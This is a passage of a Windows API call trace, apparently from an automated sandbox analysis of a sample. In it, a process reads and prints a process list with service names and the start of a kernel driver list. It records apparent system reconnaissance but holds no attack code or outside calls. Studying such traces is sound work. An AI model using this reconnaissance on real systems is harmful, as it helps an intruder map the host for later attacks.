(hFile=0x50) returned 0x1 [0151.540] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.540] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.540] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.540] GetFileType (hFile=0x50) returned 0x1 [0151.540] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.540] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.541] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.541] GetFileType (hFile=0x50) returned 0x1 [0151.541] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.541] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.541] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.541] GetFileType (hFile=0x50) returned 0x1 [0151.541] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.541] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.541] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.541] GetFileType (hFile=0x50) returned 0x1 [0151.541] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.541] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.541] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.541] GetFileType (hFile=0x50) returned 0x1 [0151.541] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.541] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.541] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.541] GetFileType (hFile=0x50) returned 0x1 [0151.541] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.541] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.541] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.541] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=5632) returned 1 [0151.541] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.541] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.541] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.541] GetFileType (hFile=0x50) returned 0x1 [0151.541] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" \r\noriental.exe 964 N/A \r\nprotective quite sessions 1420 N/A \r\nmumbai.exe 1384 N/A \r\nps-workstation.exe 1508 N/A \r\ntoday.exe 856 N/A \r\ndishesproductioncottage.e 1156 N/A \r\nunfortunat\x15") returned 512 [0151.541] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.541] GetFileType (hFile=0x50) returned 0x1 [0151.541] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.542] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.542] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.542] GetFileType (hFile=0x50) returned 0x1 [0151.542] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.542] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.542] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.542] GetFileType (hFile=0x50) returned 0x1 [0151.542] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.542] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.542] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.542] GetFileType (hFile=0x50) returned 0x1 [0151.542] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.542] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.542] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.542] GetFileType (hFile=0x50) returned 0x1 [0151.542] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.542] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.542] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.542] GetFileType (hFile=0x50) returned 0x1 [0151.542] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.542] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.542] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.542] GetFileType (hFile=0x50) returned 0x1 [0151.542] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.542] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.542] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.542] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=6144) returned 1 [0151.542] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.542] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.543] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.543] GetFileType (hFile=0x50) returned 0x1 [0151.543] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="elyafterwardsem 2032 N/A \r\nweblogs-waters.exe 340 N/A \r\nplaintiff.exe 568 N/A \r\ngreensborooregon.exe 1416 N/A \r\nchartspresently.exe 200 N/A \r\nir grey.exe 1656 N/A \r\nknow.exe 1448 N\x15") returned 512 [0151.543] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.543] GetFileType (hFile=0x50) returned 0x1 [0151.543] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.543] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.543] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.543] GetFileType (hFile=0x50) returned 0x1 [0151.543] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.543] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.543] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.543] GetFileType (hFile=0x50) returned 0x1 [0151.543] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.543] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.543] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.543] GetFileType (hFile=0x50) returned 0x1 [0151.543] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.543] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.543] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.543] GetFileType (hFile=0x50) returned 0x1 [0151.543] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.543] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.543] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.543] GetFileType (hFile=0x50) returned 0x1 [0151.543] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.543] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.544] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.544] GetFileType (hFile=0x50) returned 0x1 [0151.544] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.544] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.544] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.544] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=6656) returned 1 [0151.544] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.544] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.544] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.544] GetFileType (hFile=0x50) returned 0x1 [0151.544] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="/A \r\nrequirement_float_disabil 2052 N/A \r\nlicenses_miss.exe 2068 N/A \r\nWmiPrvSE.exe 2232 N/A \r\niexplore.exe 2900 N/A \r\nsvchost.exe 680 FontCache, SSDPSRV \r\niexplore.exe 304 N/A \x15") returned 512 [0151.544] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.544] GetFileType (hFile=0x50) returned 0x1 [0151.544] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.544] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.544] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.544] GetFileType (hFile=0x50) returned 0x1 [0151.544] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.544] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.544] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.544] GetFileType (hFile=0x50) returned 0x1 [0151.544] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.544] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.544] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.544] GetFileType (hFile=0x50) returned 0x1 [0151.544] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.544] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.544] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.544] GetFileType (hFile=0x50) returned 0x1 [0151.544] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.544] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.545] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.545] GetFileType (hFile=0x50) returned 0x1 [0151.545] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.545] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.545] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.545] GetFileType (hFile=0x50) returned 0x1 [0151.545] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.545] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.545] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.545] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=7168) returned 1 [0151.545] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.545] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.545] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.545] GetFileType (hFile=0x50) returned 0x1 [0151.545] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" \r\nsppsvc.exe 2136 sppsvc \r\nsvchost.exe 1816 WinDefend \r\nWmiPrvSE.exe 2372 N/A \r\nWmiPrvSE.exe 2796 N/A \r\nTrustedInstaller.exe 2924 TrustedInstaller \r\ntaskeng.exe 1488 N/A \r\ntaskeng\x15") returned 512 [0151.545] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.545] GetFileType (hFile=0x50) returned 0x1 [0151.545] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.545] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.545] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.545] GetFileType (hFile=0x50) returned 0x1 [0151.545] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.545] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.545] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.545] GetFileType (hFile=0x50) returned 0x1 [0151.545] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.545] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.545] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.545] GetFileType (hFile=0x50) returned 0x1 [0151.546] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.546] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.546] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.546] GetFileType (hFile=0x50) returned 0x1 [0151.546] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.546] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.546] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.546] GetFileType (hFile=0x50) returned 0x1 [0151.546] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.546] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.546] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.546] GetFileType (hFile=0x50) returned 0x1 [0151.546] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.546] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.547] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.547] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=7680) returned 1 [0151.547] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.547] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.547] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.547] GetFileType (hFile=0x50) returned 0x1 [0151.547] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=".exe 816 N/A \r\nOfficeC2RClient.exe 1032 N/A \r\nOfficeC2RClient.exe 1892 N/A \r\nmsoia.exe 2804 N/A \r\nmsoia.exe 2936 N/A \r\ncmd.exe 2172 N/A \r\nconhost.exe 218\x15") returned 512 [0151.547] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.547] GetFileType (hFile=0x50) returned 0x1 [0151.547] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.547] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.547] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.547] GetFileType (hFile=0x50) returned 0x1 [0151.547] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.547] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.547] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.547] GetFileType (hFile=0x50) returned 0x1 [0151.547] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.547] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.547] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.547] GetFileType (hFile=0x50) returned 0x1 [0151.547] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.547] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.547] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.547] GetFileType (hFile=0x50) returned 0x1 [0151.547] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.547] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.547] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.547] GetFileType (hFile=0x50) returned 0x1 [0151.547] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.548] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.548] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.548] GetFileType (hFile=0x50) returned 0x1 [0151.548] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.548] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.548] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.548] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=8192) returned 1 [0151.548] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.548] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.548] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.548] GetFileType (hFile=0x50) returned 0x1 [0151.548] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="0 N/A \r\ntasklist.exe 1708 N/A \r\n-------- \r\n\r\nModule Name Display Name Driver Type Link Date \r\n============ ====================== ============= ======================\r\n1394ohci 1394 OHCI Compliant Ho Kernel 11/20/2010 10:44:56 AM\r\nACPI Microsoft ACPI Driver Kernel 11/20/2010 9:19:16 AM \r\nAcpiPmi ACPI Power Meter Drive Kernel 11/20/2010 9:30:42 AM \r\n\x15") returned 512 [0151.548] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.548] GetFileType (hFile=0x50) returned 0x1 [0151.548] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.548] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.548] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.548] GetFileType (hFile=0x50) returned 0x1 [0151.548] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.548] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.548] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.548] GetFileType (hFile=0x50) returned 0x1 [0151.548] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.548] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.548] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.548] GetFileType (hFile=0x50) returned 0x1 [0151.548] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.548] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.549] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.549] GetFileType (hFile=0x50) returned 0x1 [0151.549] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.549] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.549] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.549] GetFileType (hFile=0x50) returned 0x1 [0151.549] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.549] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.549] _get_osfhandle (_FileHandle=1) returned 